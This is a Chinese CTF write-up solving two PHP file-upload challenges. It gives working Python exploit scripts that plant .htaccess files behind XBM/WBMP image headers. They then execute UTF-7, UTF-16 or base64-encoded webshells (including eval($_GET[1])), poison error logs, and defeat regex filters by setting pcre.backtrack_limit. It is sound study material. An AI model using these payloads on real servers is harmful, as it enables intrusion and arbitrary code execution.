XNUCA 2019 Qualifier Ezphp

因为 Insomnihack 2019 l33t-hoster 这道题跟 XNUCA 2019 Qualifier Ezphp 如出一辙,比较类似,并且也是比较有意思的一题,所以两个题就放在一起写了

L33T-HOSTER

题目在 ?source 直接给出了源码

<?php
if (isset($_GET["source"])) 
    die(highlight_file(__FILE__));

session_start();

if (!isset($_SESSION["home"])) {
    $_SESSION["home"] = bin2hex(random_bytes(20));
}
$userdir = "images/{$_SESSION["home"]}/";
if (!file_exists($userdir)) {
    mkdir($userdir);
}

$disallowed_ext = array(
    "php",
    "php3",
    "php4",
    "php5",
    "php7",
    "pht",
    "phtm",
    "phtml",
    "phar",
    "phps",
);


if (isset($_POST["upload"])) {
    if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {
        die("yuuuge fail");
    }

    $tmp_name = $_FILES["image"]["tmp_name"];
    $name = $_FILES["image"]["name"];
    $parts = explode(".", $name);
    $ext = array_pop($parts);

    if (empty($parts[0])) {
        array_shift($parts);
    }

    if (count($parts) === 0) {
        die("lol filename is empty");
    }

    if (in_array($ext, $disallowed_ext, TRUE)) {
        die("lol nice try, but im not stupid dude...");
    }

    $image = file_get_contents($tmp_name);
    if (mb_strpos($image, "<?") !== FALSE) {
        die("why would you need php in a pic.....");
    }

    if (!exif_imagetype($tmp_name)) {
        die("not an image.");
    }

    $image_size = getimagesize($tmp_name);
    if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {
        die("lol noob, your pic is not l33t enough");
    }

    $name = implode(".", $parts);
    move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);
}

echo "

Your files:

    "; foreach(glob($userdir . "*") as $file) { echo "
  • $file
  • "; } echo "
"; ?>

Upload your pics!

XBM

.htaccess

我们可以发现其实是一个黑名单过滤,然后我们再看一下 http 的响应报文中有这么一个字段:

Server: Apache/2.4.29 (Ubuntu)

所以我们可以先想到可能可以上传 .htaccess ,但是如果直接上传 .htaccess 的话,肯定会被直接 waf 掉

$parts = explode(".", $name);
$ext = array_pop($parts);

explode 会将 $name. 分割成数组

array(2) {
  [0]=>
  string(0) ""
  [1]=>
  string(8) "htaccess"
}

array_pop 会把 $parts 数组最后一个元素取出,并将长度减一。所以如果直接上传 .htaccess ,得到的后缀将是 htaccess ,得到

array(2) {
  [0]=>
  string(0) ""
}

接着两个判断,第一个判断 $parts[0] 是否为空,为空就将 $parts[0] 移除数组,第二个判断 $parts 长度是否为 0 ,第三个判断 $ext 是否在黑名单里面

if (empty($parts[0])) {
  array_shift($parts);
}

if (count($parts) === 0) {
  die("lol filename is empty");
}

if (in_array($ext, $disallowed_ext, TRUE)) {
  die("lol nice try, but im not stupid dude...");
}

本题对于文件名的处理大致就是这么处理,所以直接传 .htaccess 会在第一个判断时把 $parts 全都置为空。

因为文件名分割是以 explode(".", $name); 分割,所以我们可以用多个点来进行绕过,例如可以用 ..htaccess

接下来就是绕过后面的判断了, exif_imagetype 绕过比较简单,可以直接使用 gif 的头 GIF98a 绕过就行了,但是后面的长度检测就比较麻烦了,这里 check 了文件内容的大小,而且重要的是 .htaccess 需要标准的格式,如果前面有非标准冗余的内容, .htaccess 会解析失败。

$image_size = getimagesize($tmp_name);
if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {
die("lol noob, your pic is not l33t enough");
}

所以我们需要找到一个比较特殊的图片格式

查看 wiki 我们可以知道

​ XBM files differ markedly from most image files in that they take the form of C source files. This means that they can be compiled directly into an application without any preprocessing steps, but it also makes them far larger than their raw pixel data. The image data is encoded as a comma-separated list of byte values, each written in the C hexadecimal notation, ‘0x13’ for example, so that multiple ASCII characters are used to express a single byte of image information

并且在 wiki 中我们也可以得到一个 sample :

#define test_width 16
#define test_height 7
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };

XBM 文件竟然可以用 #define 来规定图片的 width & height,而 #.htaccess 文件中恰好是注释符,也不会引起解析错误,所以我们可以往这个方向去试一试。

将 width & height 改成需要的数值,这样我们就可以上传 .htaccess

webshell

既然可以上传了 .htaccess ,那接下来就是到传 webshell 了。

$image = file_get_contents($tmp_name);
if (mb_strpos($image, "<?") !== FALSE) {
  die("why would you need php in a pic.....");
}

主要就是对 <? 的绕过了,这里我们可以使用 htaccess 的另外一些技巧来进行绕过,我们可以在 How to change configuration settings 这里查找到 php 关于 .htaccess 的处理文档。

并且我们可以看到有一个比较有意思的选项:

​ zend.multibyte boolean
Enables parsing of source files in multibyte encodings. Enabling zend.multibyte is required to use character encodings like SJIS, BIG5, etc that contain special characters in multibyte string data. ISO-8859-1 compatible encodings like UTF-8, EUC, etc do not require this option.
Enabling zend.multibyte requires the mbstring extension to be available.

以及

​ zend.script_encoding string

This value will be used unless a declare(encoding=…) directive appears at the top of the script. When ISO-8859-1 incompatible encoding is used, both zend.multibyte and zend.script_encoding must be used.

Literal strings will be transliterated from zend.script_enconding to mbstring.internal_encoding, as if mb_convert_encoding() would have been called.

并且我们在 Supported Character Encodings 可以找到 php 支持的编码方式,根据这两个选项我们就可以利用编码的形式来编码我们的文件内容,然后利用 .htaccess 的设置来进行解码执行。

所以这里我们可以使用 UTF-7 编码来进行编码内容,并且使用 auto_append_file.htaccess 的内容在执行时追加入到当前目录的文件中,例如在 .htaccess 中我们可以这么这么写

#define test_width 1337
#define test_height 1337
AddType application/x-httpd-php .xbm
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw?php phpinfo()+ADs

然后再上传一个宽度高度符合要求的 xbm 文件即可。

当然也可以使用其他编码啦,比如 utf-16,一种大端编码的方式,一个字符由两个字节编码,我们可以这么构造:

exp.php 中的内容就是你想上传的 php 代码

import requests

VALID_XBM = b"""#define width 1337
#define height 1337"""

URL = "http://your_url/upload/?"
RANDOM_DIRECTORY = "674b2fcf215d9e16619a0ad3648e704ee50377e5"

COOKIES = {
    "PHPSESSID" : "fsppftvh6q5kpf8e0b7e9p2le5"
}

def upload_content(name, content):

    data = {
        "image" : (name, content, 'image/png'),
        "upload" : (None, "Submit Query", None)
    }

    return requests.post(URL, files=data, cookies=COOKIES)

HT_ACCESS = VALID_XBM + b"""
AddType application/x-httpd-php .zedd
php_value zend.multibyte 1
php_value zend.detect_unicode 1
php_value display_errors 1
"""
TARGET_FILE = VALID_XBM + open("exp.php", 'r').read().encode('utf-16')

upload_content("..htaccess", HT_ACCESS)
upload_content("source.zedd", TARGET_FILE)

WBMP

.htaccess

除了 XBM 文件,当然还有其他文件可以利用啦。例如 wbmp 格式的图片文件。

因为在 .htaccess0x00 开头的一行会与 # 一样被当作注释处理,然后我们也可以发现标准的 xbm 格式:

$    xxd test3.wbmp | head
00000000: 0000 8930 8620 0000 0000 0000 0000 0000  ...0. ..........
00000010: 0000 0000 0000 0000 0012 4908 0002 0081  ..........I.....
00000020: 0440 0000 0000 0000 0000 0000 2400 0009  [email protected]$...
00000030: 2092 4800 0000 0000 0000 0000 1248 4012   [email protected]
00000040: 4000 0040 2224 954a a4aa 9224 8900 8410  @[email protected]"$.J...$....
00000050: 0012 52a8 8889 2494 94a5 5540 0000 1000  [email protected]
00000060: 0000 5480 0200 0928 0000 0000 0000 002a  ..T....(.......*
00000070: 9248 0001 2555 2490 0000 0000 0000 0000  .H..%U$.........
00000080: 0000 0000 0000 0000 1124 a555 5555 5555  .........$.UUUUU
00000090: 52aa 4a55 5555 5555 4aaa a8aa 0000 0000  R.JUUUUUJ.......

可以发现这个的开头其实就是 0x00 ,所以接下来我们只需要更改图片的 width & height 就可以了,但是貌似并没有一个标准的文件格式供我们参考,于是我们可以单独一位一位地去尝试,这样我们就可以得到一个最小的基本没有冗余数据的 wbmp 文件了。

<?php

error_reporting(0);

$contents = file_get_contents("test3.wbmp");
$i = 0;
while (true) {
    $truncated = substr($contents, 0, $i);
    file_put_contents("truncated.wbmp", $truncated);
    if (exif_imagetype("truncated.wbmp")) break;
    $i += 1;
}

echo "Shortest file size : $i\n";

var_dump(exif_imagetype("truncated.wbmp"));
var_dump(getimagesize("truncated.wbmp"));

然后我们可以根据 Wireless Application Protocol Bitmap Format ,可以看出大致的文件构造:

Field name Field type Size (in bytes) Purpose
Type uintvar variable Type of the image, and is 0 for monochrome bitmaps.
Fixed header byte 1 Reserved. Always 0.
Width uintvar variable Width of the image in pixels.
Height uintvar variable Height of the image in pixels.
Data byte array variable Data bytes arranged in rows – one bit per pixel. A black pixel is denoted by 0 and a white pixel is denoted by 1. Where the row length is not divisible by 8, the row is 0-padded to the byte boundary.

还有这个 wbmp 的宽度高度格式有点奇怪,第三位是以 128 为基数算的,所以这里只能凑一下得到 1337 的高与宽

这里需要注意一下有个坑,直接提交的话还不知什么原因会自动加上 0xefbf 污染了原数据,所以这里需要手动写脚本交一下。

import requests
import base64

VALID_WBMP = b"\x00\x00\x8a\x39\x8a\x39\x0a"
URL = "http://your_url/upload/?"
RANDOM_DIRECTORY = "674b2fcf215d9e16619a0ad3648e704ee50377e5"

COOKIES = {
    "PHPSESSID" : "kivnml45mpi9ohknv2i8s8ecoj"
}

def upload_content(name, content):

    data = {
        "image" : (name, content, 'image/png'),
        "upload" : (None, "Submit Query", None)
    }

    response = requests.post(URL, files=data, cookies=COOKIES)

HT_ACCESS = VALID_WBMP + b"""
AddType application/x-httpd-php .zedd
"""

upload_content("..htaccess", HT_ACCESS)

webshell

既然能传 .htaccess 了,当然我们也可以用上面提到的 UTF-7 编码绕过,但是这里我们可以换另一种形式,比如 base64。

​ auto_append_file string

Specifies the name of a file that is automatically parsed after the main file. The file is included as if it was called with the require function, so include_path is used.

The special value none disables auto-appending.

让我们仔细看看这个定义,这个功能就相当于使用了 require 方法,所以我们当然也可以使用 php://filter 啦,比如我们最常用的文件包含 php://filter/read=convert.base64-decode/resource=

所以我们可以先传一个用 WBMP 格式头伪装的文件,文件中有经过 base64 编码过后的 php 代码,然后经过 .htaccess 的作用,我们就可以执行任意 php 代码了,但是这里需要注意的是,base64 编码解码的时候,会把整个文件内容当作字符串解码,意思就是说,WBMP 格式头当然也会被解码,这里需要让文件头凑够足够的位数,比如在 \x00\x00\x8a\x39\x8a\x39\x0a 中,这里一共有 56 bit,base64 在解码的时候,24 bit 为一组,再分成三个字节进行解码,56 bit 不足 72(24*3 ) bit ,需要去我们添加的数据进行补齐,所以就会造成“污染”了我们构造的编码数据。所以这里我们只需要再增加到 72 bit 即可,也就是 2(16bit) 字节,让文件头与这 2 字节被一起解码即可,解码结果不影响 php 解析即可。

所以完整脚本如下:

import requests
import base64

VALID_WBMP = b"\x00\x00\x8a\x39\x8a\x39\x0a"
URL = "http://your_url/upload/?"
RANDOM_DIRECTORY = "674b2fcf215d9e16619a0ad3648e704ee50377e5"

COOKIES = {
    "PHPSESSID" : "kivnml45mpi9ohknv2i8s8ecoj"
}

def upload_content(name, content):

    data = {
        "image" : (name, content, 'image/png'),
        "upload" : (None, "Submit Query", None)
    }

    response = requests.post(URL, files=data, cookies=COOKIES)

HT_ACCESS = VALID_WBMP + b"""
AddType application/x-httpd-php .zedd
php_value auto_append_file "php://filter/convert.base64-decode/resource=source.zedd"
"""
TARGET_FILE = VALID_WBMP + b"AA" + base64.b64encode(b"""

""")

upload_content("..htaccess", HT_ACCESS)
upload_content("source.zedd", TARGET_FILE)
upload_content("shell.zedd", VALID_WBMP)


response = requests.post(URL + "/images/" + RANDOM_DIRECTORY + "/shell.zedd")
print(response.text)

Get Shell

先看 phpinfo ,果不其然还要 bypass disable_function

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,posix_mkfifo, pg_lo_import, dbmopen, dbase_open, popen, chgrp, chown, chmod, symlink,apache_setenv,define_syslog_variables, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_uname, proc_close, pclose, proc_nice, proc_terminate,curl_exec,curl_multi_exec,parse_ini_file,show_source,imap_open,fopen,copy,rename,readfile,readlink,tmpfile,tempnam,touch,link,file_put_contents,file,ftp_connect,ftp_ssl_connect

没有禁止 putenv() ,那我们就可以用 LD_PRELOAD 那一套就行了。然而这里没有权限导致不能直接使用蚁剑的 as_bypass_php_disable_functions 插件,但是我们可以自己写一个上传界面上传我们需要的文件就行了。比如我们可以这么写 .htaccess

#define test_width 1337
#define test_height 1337
AddType application/x-httpd-php .xbm
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw?php if (isset(+ACQAXw-POST+AFsAIg-upload+ACIAXQ)) +AHsAJA-tmp+AF8-name +AD0 +ACQAXw-FILES+AFsAIg-image+ACIAXQBbACI-tmp+AF8-name+ACIAXQA7ACQ-name +AD0 +ACQAXw-FILES+AFsAIg-image+ACIAXQBbACI-name+ACIAXQA7ACQ-parts +AD0 explode(+ACI.+ACI, +ACQ-name)+ADsAJA-ext +AD0 array+AF8-pop(+ACQ-parts)+ADsAJA-name +AD0 implode(+ACI.+ACI, +ACQ-parts)+ADs-move+AF8-uploaded+AF8-file(+ACQ-tmp+AF8-name, +ACI./+ACI.+ACQ-name . +ACI.+ACI . +ACQ-ext)+ADsAfQ?+AD4APA-h1+AD4-Upload your pics+ACEAPA-/h1+AD4APA-form method+AD0AIg-POST+ACI action+AD0AIg?+ACI enctype+AD0AIg-multipart/form-data+ACIAPgA8-input type+AD0AIg-file+ACI name+AD0AIg-image+ACIAPgA8-input type+AD0AIg-submit+ACI name+AD0-upload+AD4APA-/form+AD4-

UTF-7 解码之后就是:

Upload your pics!

然后就是上传 .so 文件进行 LD_PRELOAD 那一套了,比较坑的是,拿到 flag 还是需要一个在极短时间内算数的门槛,这里就直接借鉴其他人的脚本了:

#!/usr/bin/env perl 
use warnings;
use strict;
use IPC::Open2;

$| = 1;
chdir "/"; #!!!!!!!!!!!!!!!!!!!!!!!!!!

my $pid = open2(\*out2, \*in2, './get_flag') or die;

my $reply = ;
print STDOUT $reply; #string: solve captcha..
$reply = ;
print STDOUT $reply; #captcha formula

my $answer = eval($reply);
print STDOUT "answer: $answer\n"; 

print in2 " $answer "; #send it to process
in2->flush();

$reply = ;
print STDOUT $reply; #flag :D

直接传上去运行就行了。

Ezphp

让我们回到本次的主题 Ezphp,题目直接给出了源码


很明显,这里我们可以直接写入 .htaccess 来 get flag。

我们可以看到有以下限制:

  • 每次都会 unlink 删除当前所有文件
  • 有 on / html / type / flag / upload / file 关键字大小写过滤
  • 文件自动包含 fl3g.php ,但是文件名有 /[^a-z\.]/ 正则限制
  • 最后还会有 \n 换行追加数据导致 .htaccess 解析错误的限制

这里比赛的时候比较恶心的是 ichunqiu 自动给容器套了一层 nginx 代理,404 或者 500 的时候返回的是 nginx 错误页面…然后当时我是排除了 .htaccess 的利用…然后就偏了…

有了上题的知识其实我们不难有一些思路:可以利用编码绕过一些判定,例如 stristr 函数的判断。

而且这里比较让我们值得注意的是 fl3g.php 的包含,虽然每次都会首先执行删除当前目录下所有的文件,但是之后又都会去尝试包含 fl3g.php ,那我们是不是可以有什么操作去写入 fl3g.php 呢?当然如果通过题目给的写入功能由于有 [^a-z\.] 正则的存在是肯定写不进去的。

于是我们需要把写入文件的功能点放在 .htaccess 关注点上来,根据 How to change configuration settings ,我们可以知道在 .htaccess 当中我们可以使用几种类型格式来更改 php 配置

php_value name value

php_flag name on|off

php_admin_value name value

php_admin_flag name on|off

虽然 flag 被作为关键字过滤了,但是无论是 php_flag 还是 php_amdin_flag 只是 php_value 的简化,能通过 php_flag 设置的参数我们大部分还是都可以用 php_value 去设置的,虽然文档有以下说明:

Note : Don’t use php_value to set boolean values. php_flag (see below) should be used instead.

List of php.ini directives 当中我们可以找到支持更改的 php 配置选项,其中有几个我们值得去关注。

One Way-error

error_log string

Name of the file where script errors should be logged. The file should be writable by the web server’s user. If the special value syslog is used, the errors are sent to the system logger instead. On Unix, this means syslog(3) and on Windows it means the event log. See also: syslog() . If this directive is not set, errors are sent to the SAPI error logger. For example, it is an error log in Apache or stderr in CLI. See also error_log() .

error_log 可以把 error_reporting 设置的错误等级写入到设置的文件当中,这个看起来我们可以利用该函数来就进行报错写入文件,但是对于一开始就删除当前文件夹下所有文件的操作,即使我们可以写入自定义内容,也会被删除。所以我们可能还需要找另外一条路径使得该文件可以保存下来。

include_path string

Specifies a list of directories where the require , include , fopen() , file() , readfile() and file_get_contents() functions look for files. The format is like the system’s PATH environment variable: a list of directories separated with a colon in Unix or semicolon in Windows.

PHP considers each entry in the include path separately when looking for files to include. It will check the first path, and if it doesn’t find it, check the next path, until it either locates the included file or returns with a warning or an error . You may modify or set your include path at runtime using set_include_path() .

在阅读文档我们还可以发现 include_path 这个设置,他可以指定 include 等包含函数包含的环境路径,而题目代码使用的是 scandir('./'); 作为获取当前文件的操作,只是删除当前文件,而 error_log 又可以指定路径。所以我们大概可以有这么个思路:

  • 使用 error_log 指定一个非当前文件路径的可写路径,例如 /tmp/fl3g.php
  • 利用 include_path 指定包含的环境路径为 /tmp
  • 这样 include 包含的时候,就是包含到了 /tmp/fl3g.php

这样就可以绕过删除当前文件夹下所有文件的操作了。

接下来就是 error_log 写文件内容的问题了,让我们本地试试看,为了方便,按照上面的思路直接写一个 .htaccess 在当前文件夹下,内容是

php_value error_log /tmp/fl3g.php
php_value include_path /tmp

访问 index.php ,得到的错误有

Warning: include_once(fl3g.php): failed to open stream: No such file or directory in /xxx/index.php on line 10

Warning: include_once(): Failed opening 'fl3g.php' for inclusion (include_path='.:/Applications/MAMP/bin/php/php7.1.26/lib/php') in /xxx/index.php on line 10

这时候 /tmp/fl3g.php 当中的内容也是上面的内容,这时候 .htaccess 因为我们访问了过一次 index.php 被删除了,所以我们需要再写一次 .htaccess ,还是一样的内容。

接着访问 index.php ,可以看见我们包含的效果如下:

之后我们就要思考怎么把一些恶意代码插到报错的内容当中了。

既然上面都是通过 include 不存在的文件产生报错,那我们是不是也可以利用 include_path 来构造一些错误。

例如我们可以首先通过这么来构造一个不存在的包含路径让恶意代码插入到 /tmp/fl3g.php 当中, .htaccess 文件内容如下:

php_value error_log /tmp/fl3g.php
php_value include_path ''

访问 index.php 我们可以看到:

这里 < 被进行了 html 编码,所以我们这样去用 include_path '/tmp' 包含的 /tmp/fl3g.php ,自然也不可能执行代码。所以我们可能需要一些技巧来使得这些可以被解析。

有了上一题的基础,我们知道可以使用编码来进行解析文件,所以在这里,我们可以先用 UTF-7 编码写入,再利用 .htaccess 解码 UTF-7

所以,先尝试利用 UTF-7 编码我们需要插入的恶意代码,写入 .htaccess 的文件内容如下:

php_value error_log /tmp/fl3g.php
php_value include_path '+ADw?php phpinfo()+ADs?+AD4-'

然后访问 index.php 触发报错写入 log 文件 /tmp/fl3g.php ,文件内容如下:

[03-Oct-2019 16:23:51 Asia/Shanghai] PHP Warning:  include_once(fl3g.php): failed to open stream: No such file or directory in /xxx/index.php on line 10
[03-Oct-2019 16:23:51 Asia/Shanghai] PHP Warning:  include_once(): Failed opening 'fl3g.php' for inclusion (include_path='+ADw?php phpinfo()+ADs?+AD4-') in /xxx/index.php on line 10

再把以下内容写入 .htaccess

php_value error_log /tmp/fl3g.php
php_value include_path '/tmp'
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"

访问 index.php

得到 php-info

当然这里编码类型有很多,不仅仅只是 UTF-7

\n

至于最后的 \nJust one chance ,因为它影响到了 .htaccess 文件解析,所以我们首先想到的肯定是利用 # 注释符将整句话都注视掉,但是又由于有 \n 换行符的存在,我们不能直接使用 # 就将其注释掉,需要把 \n 进行“吃”掉。

那么最常见的操作就是利用 \ 斜杠将其转义了,这样 \\n 就是一个简单的 \n 字符串了。

Exp:

PAYLOAD1 = """php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path "+ADw?php eval($_GET[1])+ADs?+AD4-"
# \\"""

PAYLOAD2 = """php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \\"""

URL = "http://xxx/index.php"

def upload_content(name, content):

    data = {
        "content" : content,
        "filename" : name,
    }

    return requests.get(URL, params=data)

rep = upload_content(".htaccess", PAYLOAD1)
print(rep.text)

rep = upload_content(".htaccess", PAYLOAD2)
print(rep.text)

Another Way-Pcre

手册中还允许设置 pcre.backtrack_limit ,这个可以更改正则回溯的次数,具体可以参考 PHP利用PCRE回溯次数限制绕过某些安全限制

这里我们看到题目的代码正则部分是

if(preg_match("/[^a-z\.]/", $filename) == 1) {
  echo "Hacker2";
  die();
}

这里是判断是否为 1 ,如果为 1 则 die ,而根据正则回溯,当超过回溯次数, preg_match 会返回 false ,自然就可以绕过了。

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

所以我们可以先上传以上内容到 .htaccess ,利用这个回溯特性可以绕过 filename 的检测,那我们可以对 filename 做点什么操作呢?直接写入 fl3g.php ?走你

import requests

PAYLOAD3 = """php_value pcre.backtrack_limit 0
php_value pcre.jit 0
# \\"""

PAYLOAD4 = """"""

URL = "http://xxx/index.php"

def upload_content(name, content):

    data = {
        "content" : content,
        "filename" : name,
    }

    return requests.get(URL, params=data)

rep = upload_content(".htaccess", PAYLOAD3)
print(rep.text)

rep = upload_content("fl3g.php", PAYLOAD4)
print(rep.text)

然后直接访问 fl3g.php 即可。

ROIS 这里使用了一种比较复杂的方法,首先同样上传 .htaccess 把 pcre 回溯限制改成 0,然后使用 base64 写文件绕过 stristr 的判断,使用 auto_append_file 包含 .htaccess ,在 .htaccess 当中写注释 webshell 即可。

首先上传 .htaccess ,内容为:

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

再次上传名为 php://filter/write=convert.base64-decode/resource=.htaccess ,内容为

cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0ICAgIDAKCnBocF92YWx1ZSBhdXRvX2FwcGVuZF9maWxlICAgICIuaHRhY2Nlc3MiCgpwaHBfdmFsdWUgcGNyZS5qaXQgICAwCgojPD9waHAgZXZhbCgkX0dFVFsxXSk7Pz5c

base64 解码的内容是

php_value pcre.backtrack_limit    0

php_value auto_append_file    ".htaccess"

php_value pcre.jit   0

#\

Exp:

import requests

PAYLOAD5 = """php_value pcre.backtrack_limit 0
php_value pcre.jit 0
# \\"""

PAYLOAD6 = """cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0ICAgIDAKCnBocF92YWx1ZSBhdXRvX2FwcGVuZF9maWxlICAgICIuaHRhY2Nlc3MiCgpwaHBfdmFsdWUgcGNyZS5qaXQgICAwCgojPD9waHAgZXZhbCgkX0dFVFsxXSk7Pz5c"""

URL = "http://zedd.cc/xnuca/index.php"

def upload_content(name, content):

    data = {
        "content" : content,
        "filename" : name,
        "1": "echo 'Done!';"
    }

    return requests.get(URL, params=data)

rep = upload_content(".htaccess", PAYLOAD5)
print(rep.text)

rep = upload_content("php://filter/write=convert.base64-decode/resource=.htaccess", PAYLOAD6)
print(rep.text)

Another Way-backward slash

既然能用 \ 绕过最后的 \n ,同样我们也可以用来绕过 stristr ,而且不影响 .htaccess 的解析

Exp:

import requests

PAYLOAD7 = """php_value auto_prepend_fi\\
le ".htaccess"
#\\"""


URL = "http://xxx/index.php"

def upload_content(name, content):

    data = {
        "content" : content,
        "filename" : name,
    }

    return requests.get(URL, params=data)

rep = upload_content(".htaccess", PAYLOAD7)
print(rep.text)

可以一步到位